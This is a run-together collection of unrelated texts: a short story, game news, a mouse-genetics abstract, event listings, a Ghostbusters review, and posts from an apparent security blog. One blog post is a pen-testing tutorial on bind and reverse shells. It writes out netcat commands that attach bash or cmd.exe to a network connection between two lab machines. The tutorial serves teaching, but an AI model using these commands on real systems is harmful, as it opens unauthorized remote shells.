Doodling passed the time between lunch and the second half of the workday. Others met friends who they kissed on the cheeks in warm greeting. Not Larry. He sat at his table, observing and drawing the day’s events. Today, he sketched Edgar Price, the man everyone admired from afar, including Larry, whose sketchbook was littered with drawings of men he fancied. It was a collection his brother said was “not creepy at all.” But he said it with a raised eyebrow, which told Larry it was actually pretty creepy.
Not that it mattered. Edger, who was all the way across the street, would never see it. Nor would any of the others.
In the crowded bistro, Larry blended into the scenery—another beatnik with a scratchpad, another artist dreaming big, another nobody alongside all the other nobodies. He didn’t mind. Vanishing inside the hustle and bustle allowed him time to daydream.
He took a sip from his tea. The outside of the glass, wet with condensation, made him wipe his hands before he could draw again. The world around buzzed with the electric hum of downtown, punctuated by the occasional banter between coworkers.
June, a busty redhead waitress, approached him with a gap-toothed smile and leaned over his shoulder. “What you got there?”
“Nothing!” He covered his latest picture by snapping the portfolio shut. For added coverage, he grabbed one of the placemats and placed it and his elbows on top.
“Don’t look like nothin’.” June pulled the sketchbook out from under Larry’s elbows and inspected it. One of her hands rested on her hip. The other one held a coffee pot, which was dangerously tipped to the side. “Oh, he’s the hottie doctor who always eats at the cafe across the street. Did you ask him out?”
Larry felt flush. “No, no, no. Goodness, no.”
The waitress gave his shoulder a nudge. “Don’t be so shy. You’re pretty good-looking yourself. You got a nice ass. All the wait staff has noticed. Anyone who works here would say yes if you asked them out.”
Heat rushed to Larry’s face as if lava were moving beneath his skin. Well, not quite that dire, but—dammit—he’d let himself exaggerate.
“Oh jeez, I’ve embarrassed you.”
Larry gave June a sheepish smile. “A bit. I’m not used to hearing compliments about my rump. Or, uh…well…”
“People seeing your smutty sketches?”
“Yes. That.”
“Hon, we’ve all got crushes.”
Another waiter, whose name was Greg, walked up to the table. Normally, he sat for a chat whenever Larry came by for scones and tea. Larry enjoyed their conversations, the easy way they related.
Wearing a friendly smile, Greg peeked at Larry’s drawing. Instantly, his expression changed. The corners of his grin sagged. “Oh man, don’t get your hopes up on that one. He’s a well-known jerk. Fine as hell, don’t get me wrong, but mean as the devil. He once gave me a one-cent tip because the water he ordered wasn’t the proper dunking temperature.”
June asked, “What does that even mean?”
Greg shrugged. “Dunno. He didn’t elaborate.”
Larry didn’t know either. Impulsively, he turned to Greg and asked, “Do you think he’d even talk to someone like me?”
Greg’s mouth hung open. “Uh” was all he could say.
Larry worried he crossed some type of boundary. He enjoyed this bistro and didn’t want to get kicked out for being a weird perv with a sketchbook filled with salacious drawings. No other place in town had scones that melted in his mouth or an endless stream of tea, no matter the time of day. Also, none of them had Greg. Who would he talk to about his day?
June coughed and nudged the waiter. “Hon, is there something you want to say to Larry here? Something related to the subject of crushes?”
Putting on an easy smile, Greg shrugged again and said, “Never hurts to try. He’d be nicer to you than he was to me since you’re so…”
“Hot.” June finished for him when his voice trailed off.
Greg shifted from one foot to the other. “I was going to say pleasant. I mean, you tip really well.”
June tilted her head back and rolled her eyes. “Jesus wept.”
The odd back-and-forth confused Larry. His eyes darted from one face to the next.
He had an odd thought. Greg wanted something more from him than a tip. Or, as the kids often said, maybe he wanted the tip but also so much more. Thinking about it made Larry out of sorts with his own body, which twitched uncontrollably. He knocked over a glass. The tea washed over the table in a wave, cascading over the edge like a waterfall. Larry hopped from his seat before it could spill over to his pants.
“Shit! I’m so sorry, you two!”
Brightly, June said, “No worries at all! I’ll get a rag!”
Left alone, Greg and Larry considered the situation from opposite ends of the table. Neither of them said anything, but they checked each other out. Although he wasn’t vain about it, Larry thought of himself as an attractive man. He was tall and well-muscled. His wavy brown hair fell over his eyes in a boyish swirl. In high school, his nickname had been Kent. No one had ever called him Superman, though.
Trying to grin in a charming manner, Larry said, “Is June right? Is there something you want to tell me?”
Greg’s eyes darted left, then right. “Uh,” he said and tapped his fingers against his apron. “Well…well…yes.”
Straightening in anticipation, excitement making his nerves tingle, Larry said, “Yes?”
“Next week we have a soup special. Clam chowder. Your favorite.”
That deflated Larry’s hopes. “Oh. Thanks.”
Greg spun on his heel and sped off. His arms practically pumped in his haste to get away. Larry continued to fret he’d somehow offended the man.
When June came back, she twisted her head, looking for the other waiter. “Where did he run off to?”
Larry tried to be nonchalant, but he could feel the frown lines on his face. “To get soup. Maybe?”
She tossed her hands up. “Jesus wept!”
Larry agreed. He paid his bill, slapping down a handsome tip for the trouble of cleaning up after him. Pulling his collar up over his ears, he prepared himself for a blast of autumn wind. The windy city of Chicago didn’t disappoint. Once outside, he was immediately under attack.
Always busy, the cars on the streets around him whooshed by. Flyers and other litter fluttered beneath the tires, swirling up in the air. A light drizzle fell. Eventually, those crisp sheets of paper would become mush.
“Hey, hold up a second!”
He turned around in time to see Greg running across the street to catch up to him. He held a white piece of paper over his head and waved it back and forth like a flag of surrender.
A grin, large enough to make the sides of his face hurt, cut across Larry’s face. He didn’t understand why he was smiling, but a sudden burst of joy was welcome after weeks of getting by on okay.
“Hey,” he called to Greg. “Did I forget to pay the bill or something?”
“No,” he shouted back. “Just hold up!”
Larry stopped. The smile hadn’t left his face. If anything, it stretched wider the closer Greg got. Any moment, their hands would touch. Anticipating the connection, Larry’s hand sweated. He wiped it against his trousers and tried to slow the rapid beat of his heart.
“Hey, what’s— Greg, look out!”
Larry cut off his question. Out of nowhere, a car turned right, hurtling directly toward Greg. The warning didn’t reach him in time. The Honda plowed into him, and he rolled up over its hood, breaking the glass before tumbling down the other side. Screams soured the pleasant air. Tires screeched; the heat from them made the air heavy with the smell of tar before it was overtaken with the smell of pennies.
A white piece of paper, now tinged with blotches of red, rested near Greg’s hand. On it, he had scribbled his number.
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Blasphemous Now Available For Switch, Launch Trailer Shared
4 months ago Yoemon Comments No comments
The time to repent has come.
You can now purchase The Game Kitchen’s dark, brutal action RPG Blasphemous on the Nintendo eshop. To celebrate the occasion, publisher Team17 has also shared a new launch trailer for the game. Check it out below, along with some additional press details:
The brutal action-adventure, Blasphemous, has launched on Nintendo Switch™, PlayStation 4, Xbox One, and PC today, Team17 has announced. Developed by Seville-based studio, The Game Kitchen, Blasphemous features pixel-perfect, hack ‘n’ slash action married to a deep narrative, historical references and Metroidvania gameplay, which takes players on a punishing journey through the cursed world of Cvstodia.
Blighted by a foul curse known as ‘The Miracle’ and inhabited by twisted monsters and unforgiving bosses, Cvstodia’s only hope for redemption rests with ‘The Penitent One’, the sole survivor of the ‘Silent Sorrow’ massacre. As ‘The Penitent One’ players will enter a nightmarish cycle of death and rebirth where suffering and failure are only temporary obstacles. ‘The Penitent One’s sword, the Mea Culpa, will become a true force to be reckoned with; cutting its way through a seemingly never-ending horde of enemies and increasingly tougher bosses with brutal force.
Mauricio García, CEO, The Game Kitchen, said:
“Today’s launch of Blasphemous is a real milestone for The Game Kitchen, it’s a game that has been a labour of love for everybody involved in its development. The journey of ‘The Penitent One’ through Cvstodia is a hardcore, unforgiving experience, and we hope that players will really immerse themselves in the game’s twisted and nightmarish world. We believe Blasphemous delivers a new and exciting experience for fans of the Metroidvania genre. We’re excited to bring the history and folklore of southern Spain to players and we can’t wait to see how the community reacts to the dark, gothic world the studio has created out of that inspiration.”
Throughout the adventure, players will interact with tortured souls looking for an end to their torment, uncover their stories, gain rewards, and unlock buffs, special attacks, and other customisation to help steady the unrelenting resolve of ‘The Penitent One’.
Blasphemous is now available digitally on Nintendo Switch™, PlayStation 4, Xbox One and PC for $24.99/€24.99/£19.99.
Press Email
Blasphemous, Switch
Nintendo eShop And Switch Online Subscription Prices Set To Rise In Japan On October 1
Hong Kong Gamers Threaten To Boycott Nintendo Over TV Commercials
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Quantitative trait loci affecting risk for pentobarbital withdrawal map near alcohol withdrawal loci on mouse Chromosomes 1, 4, and 11
Kari Buck, Pamela Metten, John Belknap, John Jr Crabbe
Barbiturate dependence is associated with the development of physiological dependence (withdrawal), tolerance, or a maladaptive pattern of drug use. Analysis of strain and individual differences with animal models for physiological dependence liability are useful means to identify potential genetic determinants of liability in humans. Behavioral and quantitative trait locus (QTL) mapping analyses were conducted with mice that are resistant versus sensitive to pentobarbital withdrawal. With a multistage genetic mapping strategy, a pentobarbital withdrawal QTL (PbwI) was mapped to the distal region of mouse Chromosome (Chr) 1 and may be identical to an alcohol withdrawal QTL mapped to this chromosomal region. Two suggestive QTLs for pentobarbital withdrawal, both in proximity to QTLs definitely mapped for alcohol withdrawal, were also tentatively identified. These were on Chr 11 in proximity to a gene cluster including several members of the GABA(A) receptor gene family, and on Chr 4 near a locus associated with β-carboline-induced seizure severity. These data represent the first detection and mapping of loci influencing risk for physiological dependence on barbiturates, and suggest the involvement of common genes in physiological dependence on pentobarbital and alcohol.
Mammalian Genome
https://doi.org/10.1007/s003359901018
GABA-A Receptors
Multigene Family
Buck, K., Metten, P., Belknap, J., & Crabbe, J. J. (1999). Quantitative trait loci affecting risk for pentobarbital withdrawal map near alcohol withdrawal loci on mouse Chromosomes 1, 4, and 11. Mammalian Genome, 10(5), 431-437. https://doi.org/10.1007/s003359901018
Quantitative trait loci affecting risk for pentobarbital withdrawal map near alcohol withdrawal loci on mouse Chromosomes 1, 4, and 11. / Buck, Kari; Metten, Pamela; Belknap, John; Crabbe, John Jr.
In: Mammalian Genome, Vol. 10, No. 5, 1999, p. 431-437.
Buck, K, Metten, P, Belknap, J & Crabbe, JJ 1999, 'Quantitative trait loci affecting risk for pentobarbital withdrawal map near alcohol withdrawal loci on mouse Chromosomes 1, 4, and 11', Mammalian Genome, vol. 10, no. 5, pp. 431-437. https://doi.org/10.1007/s003359901018
Buck K, Metten P, Belknap J, Crabbe JJ. Quantitative trait loci affecting risk for pentobarbital withdrawal map near alcohol withdrawal loci on mouse Chromosomes 1, 4, and 11. Mammalian Genome. 1999;10(5):431-437. https://doi.org/10.1007/s003359901018
Buck, Kari ; Metten, Pamela ; Belknap, John ; Crabbe, John Jr. / Quantitative trait loci affecting risk for pentobarbital withdrawal map near alcohol withdrawal loci on mouse Chromosomes 1, 4, and 11. In: Mammalian Genome. 1999 ; Vol. 10, No. 5. pp. 431-437.
@article{d1300c23bcbd4b8a84b1be19b6d16577,
title = "Quantitative trait loci affecting risk for pentobarbital withdrawal map near alcohol withdrawal loci on mouse Chromosomes 1, 4, and 11",
abstract = "Barbiturate dependence is associated with the development of physiological dependence (withdrawal), tolerance, or a maladaptive pattern of drug use. Analysis of strain and individual differences with animal models for physiological dependence liability are useful means to identify potential genetic determinants of liability in humans. Behavioral and quantitative trait locus (QTL) mapping analyses were conducted with mice that are resistant versus sensitive to pentobarbital withdrawal. With a multistage genetic mapping strategy, a pentobarbital withdrawal QTL (PbwI) was mapped to the distal region of mouse Chromosome (Chr) 1 and may be identical to an alcohol withdrawal QTL mapped to this chromosomal region. Two suggestive QTLs for pentobarbital withdrawal, both in proximity to QTLs definitely mapped for alcohol withdrawal, were also tentatively identified. These were on Chr 11 in proximity to a gene cluster including several members of the GABA(A) receptor gene family, and on Chr 4 near a locus associated with β-carboline-induced seizure severity. These data represent the first detection and mapping of loci influencing risk for physiological dependence on barbiturates, and suggest the involvement of common genes in physiological dependence on pentobarbital and alcohol.",
author = "Kari Buck and Pamela Metten and John Belknap and Crabbe, {John Jr}",
doi = "10.1007/s003359901018",
journal = "Mammalian Genome",
T1 - Quantitative trait loci affecting risk for pentobarbital withdrawal map near alcohol withdrawal loci on mouse Chromosomes 1, 4, and 11
AU - Buck, Kari
AU - Metten, Pamela
AU - Belknap, John
AU - Crabbe, John Jr
N2 - Barbiturate dependence is associated with the development of physiological dependence (withdrawal), tolerance, or a maladaptive pattern of drug use. Analysis of strain and individual differences with animal models for physiological dependence liability are useful means to identify potential genetic determinants of liability in humans. Behavioral and quantitative trait locus (QTL) mapping analyses were conducted with mice that are resistant versus sensitive to pentobarbital withdrawal. With a multistage genetic mapping strategy, a pentobarbital withdrawal QTL (PbwI) was mapped to the distal region of mouse Chromosome (Chr) 1 and may be identical to an alcohol withdrawal QTL mapped to this chromosomal region. Two suggestive QTLs for pentobarbital withdrawal, both in proximity to QTLs definitely mapped for alcohol withdrawal, were also tentatively identified. These were on Chr 11 in proximity to a gene cluster including several members of the GABA(A) receptor gene family, and on Chr 4 near a locus associated with β-carboline-induced seizure severity. These data represent the first detection and mapping of loci influencing risk for physiological dependence on barbiturates, and suggest the involvement of common genes in physiological dependence on pentobarbital and alcohol.
AB - Barbiturate dependence is associated with the development of physiological dependence (withdrawal), tolerance, or a maladaptive pattern of drug use. Analysis of strain and individual differences with animal models for physiological dependence liability are useful means to identify potential genetic determinants of liability in humans. Behavioral and quantitative trait locus (QTL) mapping analyses were conducted with mice that are resistant versus sensitive to pentobarbital withdrawal. With a multistage genetic mapping strategy, a pentobarbital withdrawal QTL (PbwI) was mapped to the distal region of mouse Chromosome (Chr) 1 and may be identical to an alcohol withdrawal QTL mapped to this chromosomal region. Two suggestive QTLs for pentobarbital withdrawal, both in proximity to QTLs definitely mapped for alcohol withdrawal, were also tentatively identified. These were on Chr 11 in proximity to a gene cluster including several members of the GABA(A) receptor gene family, and on Chr 4 near a locus associated with β-carboline-induced seizure severity. These data represent the first detection and mapping of loci influencing risk for physiological dependence on barbiturates, and suggest the involvement of common genes in physiological dependence on pentobarbital and alcohol.
U2 - 10.1007/s003359901018
DO - 10.1007/s003359901018
JO - Mammalian Genome
JF - Mammalian Genome
10.1007/s003359901018
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Home / Museum / Events
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Of Thee I Sing presented by the Oklahoma City Philharmonic
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Spectrum of Harmonies presented by Canterbury Voices
Canterbury Voices presents a “Spectrum of Harmonies” and the world premiere “Of Perpetual Solace.”
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Tag Archives: Kate McKinnon
New gender-flipping ‘Ghostbusters’ confronts critics—then gets down to funny business
Starring Kristen Wiig, Melissa McCarthy, Kate McKinnon & Leslie Jones
Directed by Paul Feig
If there’s something strange in your neighborhood, who you gonna call?
The Ghostbusters, of course! But which ones? The latest, if you haven’t heard, are an all-female crew headed by Kristen Wiig and Melissa McCarthy, with Saturday Night Live cast mates Kate McKinnon and Leslie Jones.
Months before the new Ghostbusters movie was finished, some people didn’t like the idea of anybody futzing with the iconic 1984 original, starring Bill Murray, Dan Aykroyd, Harold Ramis and Rick Moranis—and especially, apparently, changing the gender roles. The first trailer for the film ignited a firestorm of online trolling and ugly sexist criticism, mostly about bringing women into an all-boy’s club.
The new movie confronts its critics head-on, in a scene where the new Ghostbusters see the doubtful—and hateful—comments underneath online clips of the first spooks they’ve ever captured on video.
“You’re shouldn’t even be reading this,” Abby (McCartney) tells her colleague Erin (Wiig). “You’re not supposed to listen to what crazy people write in the middle of the night.”
Then it’s back to funny business—and girls busting ghosts.
Mixing fresh new gags with respectful retro riffs, director and co-writer Paul Feig lets his funny bone point the way, as he demonstrated in Bridesmaids, The Heat and Spy. And he’s working with a cast of comedic dynamos. Wiig’s delightfully dry, droll wit is a perfect complement to McCartney’s bigger, brasher, bawdy physical bravura. They haven’t teamed up for a project since Bridesmaids, and it’s great to see them collaborating again.
Leslie Jones gets plenty of laughs as Patty, a subway worker with a knack for Big Apple history who becomes the fourth Ghostbuster. Chris “Thor” Hemsworth seems to be having a ball as the gals’ office “himbo” receptionist, perhaps relishing the opportunity to parody his own macho movie image and the film’s flip of gender roles in general.
But it’s Kate McKinnon who practically steals the show. Her wacky, tech-crazy, live-wire lab-nut weapons wonk feels somewhat of a nod to Dan Aykryod’s character in the original, but she takes it to a totally new place in a unique role that may break her out beyond her hilarious SNL skits.
The plot: Yes, there is one, but it’s hardly worth mentioning. There are fleeting cameos by former Ghostbusters stars and other folks too, including Ozzy Osborne, who shows up at a heavy metal concert. So does a big, bad winged ghost demon. The audience loves it—rock and roll!
It all rises to a screaming crescendo, wobbles and then kind of falls apart, when all the ghosts come out to wreck havoc on the streets and there’s a big, swirling special-effects vortex, a bunch of goop and goo, a parade of giant ghost balloons and appearances by Ghostbusters Hall-of-Fame specters.
Definitely stay for the credits, though, and beyond, because this is one movie that’s not over until it’s over—completely over. And when it is, as the final version of the familiar theme music (this time by Fall Out Boy and Missy Elliot) plays out and makes your toes tap, the message is clear: For good, ghostly summertime fun with a strong dose of freewheeling 2016 girl power, who you gonna call? You know who!
Tagged Bill Murray, Chris Hemsworth, Dan Aykroyd, Ghostbusters, Harold Ramis, Kate McKinnon, Kristen Wiig, Leslie Jones, Melissa McCarthy, neil pond, Ozzy Osbourne, Paul Feig, Saturday Night Live
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Get MD5 and SHA1 digests in Windows 7
October 26, 2016 Thomas
Hi my name is Thomas and I am a Linux user. But I am not a fanboy! Hard to believe I know, but to me an OS is just a big tool that allows me to use other tools, so if it is Linux, Windows or Macs I really don’t mind as long as it is up to the job I want it for.
I recently had to use a Windows 7 machine, so as usual I started by prepping it for what I wanted to use it for, one of my first tasks was installing a hypervisor so I could spin up some VM’s, Linux VM’s cause how am I expected to get anything done on Windows 7!!!1!??
Anyway as part of this download/install ritual, being a good security analyst I wanted to verify the integrity of what I was downloading by checking the hash digests. Upon investigation I realised that Windows 7 is not fit for purpose does not support this natively.
Looking into this further I found this blog post about the Get_FileHash CmdLet in Powershell, excellent I thought, this is just what I need.
Except…it wouldn’t work, I’m not sure why, I’m guessing it was only included in newer versions of PowerShell than the one I was using…all I know is that it would not work.
So off to PowerShell hacking and bodging I went! What I came up with was this ugly and in need of improvement but ultimately up to the job, script. (I just hope not clearing those variables during an running instance does not come back to haunt me!)
###############
# nettx.co.uk #
#TODO: handel Errors
#TODO: Clear $vars after run
function Show-Menu
[string]$Title = '
_______ __ ___________
\ \ _____/ |\__ ___/__ ___
/ | \_/ __ \ __\| | \ \/ /
/ | \ ___/| | | | > < \____|__ /\___ >__| |____| /__/\_ \
\/ \/ \/
Get hash digest tool
Write-Host "$Title"
Write-Host "Press '1' to get md5"
Write-Host "Press '2' to get SHA1"
Write-Host "press '3' to get both"
Write-Host "Or double tap ENTER to exit..."
Show-Menu
$input = Read-Host "Please make a selection"
switch ($input)
'1' {
$File = Read-Host "Enter the full path of the file to be hashed"
$md5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider
$hash_md5 = [System.BitConverter]::ToString($md5.ComputeHash([System.IO.File]::ReadAllBytes($File)))
$hash1_md5 = $hash_md5 -replace ‘[-]’,''
write-Host
$hash1_md5
#$hash1_md5 = "TWAT"
Read-host "press any key to contine..."
}'2'{
$hash1_sha1 = ""
$sha1 = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider
$hash_sha1 = [System.BitConverter]::ToString($sha1.ComputeHash([System.IO.File]::ReadAllBytes($File)))
$hash1_sha1 = $hash_sha1 -replace ‘[-]’,''
$hash1_sha1
Write-Host "
MD5:" $hash1_md5
SHA1:" $hash1_sha1
}'q'{
until($input -eq '')
hashmd5PowerShellSecuritysha1windowsWindows 7
“Smart” devices.
"Smart" devices.
Time to start mandating IoT security standards and controls? pic.twitter.com/5kuvVhI3it
— NetTx (@NetTx_Security) October 23, 2016
DDoSIoTNetwork SecuritySecurity
What are Bind and Reverse Shells?
I wanted to make a very short and simple post about shells…when starting out in pen testing you will hear a lot of chatter about shells, so this post hopes to clear up some of the terminology involved.
Now I guess that since you are reading this you’re already familiar with what a shell is. *If not have a look here* What I wanted to cover was bind shells and reverse shells…and what exactly the differences are. To do this we are going to run through a short exercise using the classic Netcat.
What you will need for this exercise are two machines on the same network segment, both with a copy of Netcat on them. They can be any combination of Linux or Windows (or something more exotic and/or $expensive = Macs).
For this exercise I spun up a couple of VMs, one Kali Linux box and one Windows Server 2012 box.
Netcat is included on Linux distros that come with Nmap as standard or can be downloaded from most standard Linux repos, for Windows you can pull the nc.exe from the web
Netcat is a simple (but powerful) command line tool that has become something of legend in the networking and security worlds, put simply Netcat can throw up listening TCP and UDP ports very quickly, it can unsurprisingly enough also connect to TCP and UDP ports just as easily.
Netcat comes into its own however with its power to read and write bits to and from these connections, this allows Netcat to perform a vast array of functions. For more have a look at the Netcat main page.
It is Netcat’s ability to read and write to layer 4 connections and streams that allows us to create the shells. This is done by redirecting the 3 shell I/O streams, stdin, stdout and stderr over the layer 4 connections.
The nuances of what is a bind shell and what is a reverse shell are dictated by the client server paradigm.
Okay, demo time, so either play along at home or just put your feet up and watch. *Read*
Our two boxes are Wendy the Windows box (192.168.1.80) and Lynn the Linux box (192.168.1.78).
So we will start with a bind shell, this is really quite simple, a bind shell is called a bind shell because it binds a shell to a listening TCP port. For example;
Lynn the Linux box wants to bind its bash shall to a listening port, the following command can be used to do this;
Lynn nc -nlvp nc 9874 -e /bin/bash
Let’s break that command down, nc is the Netcat binary, -nlvp: numeric (no dns names), listening, verbose and port, with 9874 as the option, this being the port that will be set to listen. The -e points to a file to be executed after the connection is established, in this instance that file is /bin/bash, our shell.
Now when a connection is established on Lynn (192.168.1.78:9874), the bash shell will fire up and proceed to redirect it’s I/O streams across the connection. So if we connect to it from another box we can access Lynn’s shell, lets do this from Wendy;
Wendy nc -nv 192.168.1.78 9874
And that’s it…it’s that simple, we now have control over an instance of bash running on Lynn from Wendy. From Wendy we can issue commands and see the output of them.
The reason this is known as a bind shell is because the shell is bound to the listening port, but what if we want to access Wendy’s Shell from Lynn while still maintaining the same Client/Server paradigm?
Well thankfully this is just as easy, what we are about to do is known as a reverse shell. First, as before we will set up a listening TCP port on Lynn, this time however we are not going to bind a shell to the listening port.
Lynn nc -nlvp nc 9874
Now on Wendy we are going to connect to Lynn’s listening port of 9874, this time however we are going to attach the Wendy’s cmd.exe shell to the client end of the conversation.
Wendy nc -nv 192.168.1.78 9874 -e cmd.exe
We now have access to Wendy’s shell on Lynn. There are a number of different reasons why we might choose between bind and reverse shells, the main one as far as pen testing goes is basic evasion, connections could be allowed in one direction but denied in the other, if Wendy and Lynn were on two separate network segments with a firewall in the middle for example, the firewall may allow outbound connections, but deny inbound connections.
In the example above Lynn acted as the server and Wendy as the client, but this paradigm can be reversed with the exact same results for both bind and reverse shells, simply setting Wendy to listen instead of Lynn
bind shellcomputer networkingkali linuxLinuxmetasploitnetcatNetwork Securitypenetration testingreverse shellSecurityTCPTCP/IP Suitewindows
Book Review: Hacked Again
August 5, 2016 Thomas Leave a comment
Scott N. Schober’s Hacked Again has emblazoned across its cover ‘It can happen to anyone, even a cybersecurity expert.’ And so it begins, Scott is a cybersecurity expert and CEO of a hi-tech firm, in Hacked Again he takes us through his journey of being the victim of cyber crime, while along the way providing a plethora of expert and common sense advice on how to avoid finding yourself at the wrong end of cyber fraudsters.
Scott opens the book with an anecdote from his youth, opening his first bank account in a friendly local bank where people were on a first name basis, he describes the evolution of this bank and how through a series of mergers, acquisitions and takeovers it has become a modern day banking machine, impersonal and globalised. As the anecdote goes on Scott subtly drops little hints that will become relevant later.
This leads the reader seamlessly into how Scott first realised he had been hacked for the first time. One morning Scott noticed he had a number of suspicious transactions on his business account, after a little investigating it dawned on him…his account had been compromised. And so the motto on the cover proves true…‘It can happen to anyone, even a cybersecurity expert.’
As Scott looks into the compromise it begins to dawn on him, that perhaps it’s not a case of ‘it can happen to anyone even a cyber security expert’ and more a case of, ‘it can happen to anyone, especially a cybersecurity expert.’ While his business account was being investigated, Scott switched to his personal account, only to realise that was also being targeted. It was then Scott began to suspect he was being specifically targeted, that his bank credentials had been compromised and were being traded on the dark web by criminals who wanted to make an example out of the cyber security experts that make their life harder.
From here Scott describes yet another fraud his company was nearly the victim of. After receiving an order for high priced items to be sent by special delivery as soon as possible to an address in Indonesia, Scotts company dispatched the items, only to receive a call from an angry lawn mower repair company demanding to know why he had been charged for the aforementioned items that were currently winging their way to Southeast Asia.
Thanks to the timely phone call, Scott was able to put a halt to the order and recover the items. The lessons Scott learned? Well amongst other things, timely incident response is critical and if something seems to good to be true..it usually is.
Hacked Again then goes on to detail other cyber crimes involving identity theft, credit card fraud, social engineering as well as the tactics deployed by the attackers and the strategies to protect yourself from them. There are many themes that emerge as the book goes on such as who to trust, how to trust, defence in depth, password hygiene, internet browsing habits and the jarring reality of the divergence of feeling secure and actually being secure.
This book takes the reader on whirlwind tour of all manner of cyber crime, it covers malware from spyware to ransomware. Scott provides advice on how to avoid being compromised via spear phishing emails that have went from being very easy to spot with their broken English and low-res pictures to very convincing emails that look and feel the part. One of the golden nuggets buried in Hacked Again is that it not only tells you how to avoid being compromised but what to do if and when you are comprised.
The book continues to follow this blend of storytelling that is part anecdote, part ‘how to’ and part ‘how not to’. It moves swiftly and logically from one subject to the next. It is a book that does not linger on a subject long enough for it become boring or uninteresting. Instead the book flows and is a very easy to read, I was shocked when I first sat down to read Hacked Again only to realise two hours had passed in what seemed like the blink of an eye. Much of this is due to the graceful manner the author moves from one subject to the next.
The question I found myself asking when reading hacked again was ‘who is this aimed at?’, my conclusion was this is book is a must read for c-level management and medium to small business owners, as well as ICT Managers across the world. It gives an overview of the risks businesses face in today’s connected world, while providing tangible and relatable real world examples of these risks becoming real life problems.
But they are not the only people who should read this book, anyone with any kind of online presence could benefit from reading Hacked Again, that includes everyone from your grandparents to your computer science graduate buddies and yes even cyber security experts. Another group who will find this book of interest and perhaps not its obvious audience is anyone who fancies themselves as an expert in a particular field. In the latter stages of the book Scott discusses his experience as an media go to expert on cybersecuirty, this is one part of the book I found surprisingly insightful, if not entirely relevant
This books fits a niche, it is not a focused investigation into a specific topics like Brian Krebs Spam Nation, Misha Glenny’s Darkmarket or Kim Zettler’s Countdown to Zero Day, nor is it a technical tour de force like that found in a Bruce Schneier book. Hacked again just touches on those subjects, giving the reader awareness of them as examples of the darkness that is lurking out there. What this book is, is an exquisitely written warning, but not only a warning, it is a manual on what you can do to keep yourself and your business safe, and this is where its true value lies.
Hacked again is a veritable 101 the of risk of cybercrime and cyber security, an impeccable overview of the whos, the whats and the hows of information security, it gives this overview without ever slipping into hyperbolic hysteria in order to get its point across.
Scott’s manner of storytelling is seamless, he starts off on a thread and leads you down a path until its conclusion, all the while dropping bread crumbs of advice and the lessons he has learned along the way. It’s an effective blend of storytelling and educating, at no point do you ever feel condescended by the advice being dispensed. As a security researcher myself I know how easy it is to feel patronised when receiving security advice.
In the foreword for Hacked Again, radio host Jon Leiberman describes how Scott can translate complex technical details and tech talk into understandable information. This is true, Scott does know how to effectively demystify tech talk into non-intimidating, flowing and compelling storytelling. Hacked Again is the work of man who knows his subject and the work of man who has learned the lessons of what can happen when you are the victim of cybercrime, it is the work of man who wants to pass on those lessons to the reader and this is why it is a must read.
You can find Scott on Twitter @ScottBVS as well as following the Hacked Again Twitter account at @HackedAgainBook
About Scott Schober
Buy Hacked Again from Amazon UK
Buy Hacked Again from Amazon US
Get the audiobook from Audible UK
Get the audiobook from Audible US
Network SecurityReviewSecurityThreat Intelligence
Infamous IP Address Resurfaces
A couple of days ago researchers over at Sucuri posted a blog, detailing some investigative work on suspicious redirects which turned out to be the result of NameCheaps Free DNS service.
I won’t cover the detail of the blog (go read it, its a great piece of work) but one of the most surprising and interesting things (to me at least) uncovered was the resurrection of an IP related to the prehistoric and infamous conficker virus’s C2 domains.
So it just goes to show that I’m not the only person in security that like to pay homage to the past, even if I do it in a slightly less conspicuous fashion.
IP related to the Conficker C2 domains! #HipsterMalware #RetroTwitterDay #infosec #malware #hacking #cybersecurity https://t.co/5l7k3XPSuQ
— NetTx (@NetTx_Security) August 2, 2016
computer networkingHistoryIPv4Network SecuritySecurity
Spending my day off like….#tryingHarder #infosecurity #pentesting #hacking #infosec #oscp pic.twitter.com/egLNBsYQRF
LinuxNetwork SecuritynetworkingOSCPSecurity
IPv4 Threat Intelligence – PowerShell Script
July 27, 2016 Thomas Leave a comment
Following on from by previous post about gathering IPv4 threat intelligence automatically with Python scripts I thought I would follow it up with a PowerShell script I wrote that does something similar.
This script will work on Windows without the need for any extra installs, so it is perfect for users that only have access to Windows in the workplace.
It is often the case that security analysts and sys-admins need to grab bulk lists of IPv4 addresses from a data source, this data source can be logs, websites and intelligence feeds. Data sources such as these can contain lots of redundant data, such as domain names, time stamps etc. etc. In general removing this data can be done simply with a script and this is exactly what that script does.
I have seen a few scripts kicking about that do something similar to this, but they generally contain way more lines of code than is needed (although this does have some ASCII art of cats and dogs that really doesn’t need to be there) as well as requiring some kind of user input. This script is very tight with the code and the only user input required is dragging the input file over to the scripts directory.
This script allows you to take the data source in the form of a file and automatically convert it to a .csv of IPv4 addresses, fully de-deduped and with all redundant removed, ready to be used for whatever purpose you have in mind for it.
The Script is quite raw at the moment, so you will need to make a couple of edits to tailor it to your environment. See below for the bits that you may wish to edit:
Put the script in you documents folder as such $home\Documents\ipv4\
The file you want to run the script on will need to be dumped in the same folder
The ipv4_* wildcard is used to detect the input file
Follow this guide if you want to run the PowerShell script with a simple double click of a batch script
I have a script very similar to this that does the same thing, but grabs the input data from the web (similar to the python scripts, but in PowerShell), I will post this in the next few days.
Find the script here on GitHub
computer networkingIdiots guideinfosecIPv4Network SecurityPowerShellSecurityTCP/IP SuiteThreat Intelligencewindows
Automatically gather IPv4 Threat Intelligence
To paraphrase Sun Tzu “Know your enemy as you know yourself”. Yes I know this is used in security ad nauseam and I profusely apologise for rolling out this tired old cliché, but as is often true, within the cliché lies the truth, and Sun Tzus famous quote is no different.
Collecting threat intelligence on the enemy (or possible enemy) and feeding it into your tool set can help you watch and protect against interactions with online addresses that could pose a threat to your environment.
There are a number of online resources that provide this intelligence for free, but collecting it and formatting it into a .CSV file ready for direct import into your tools file can be cumbersome if it is not automated.
Tools such as SIEM’s can take lists of IPv4 addresses directly from a .CSV file and use them to test rules against or build reports on.
Example use cases are amongst others; IP reputation lists to flag up whenever your environment attempts to interact with IP’s with a poor reputation, IP’s known to host Malware, known c2 servers or any interaction with a TOR exit node.
To this end I have written a Python script, that will automatically grab the latest threat intel from a few sites. The script is pretty straight forward and can be easily edited to grab lists of IPv4 addresses from whatever site you want.
The tor exit node list updates quite often, it is probably better to schedule a cron job to automatically update that list, I will post a dedicated script for this and any other use cases that spring to mind in the future, as well as PowerShell scripts for Windows users that do not want to install Python.
Couple of notes on these scripts:
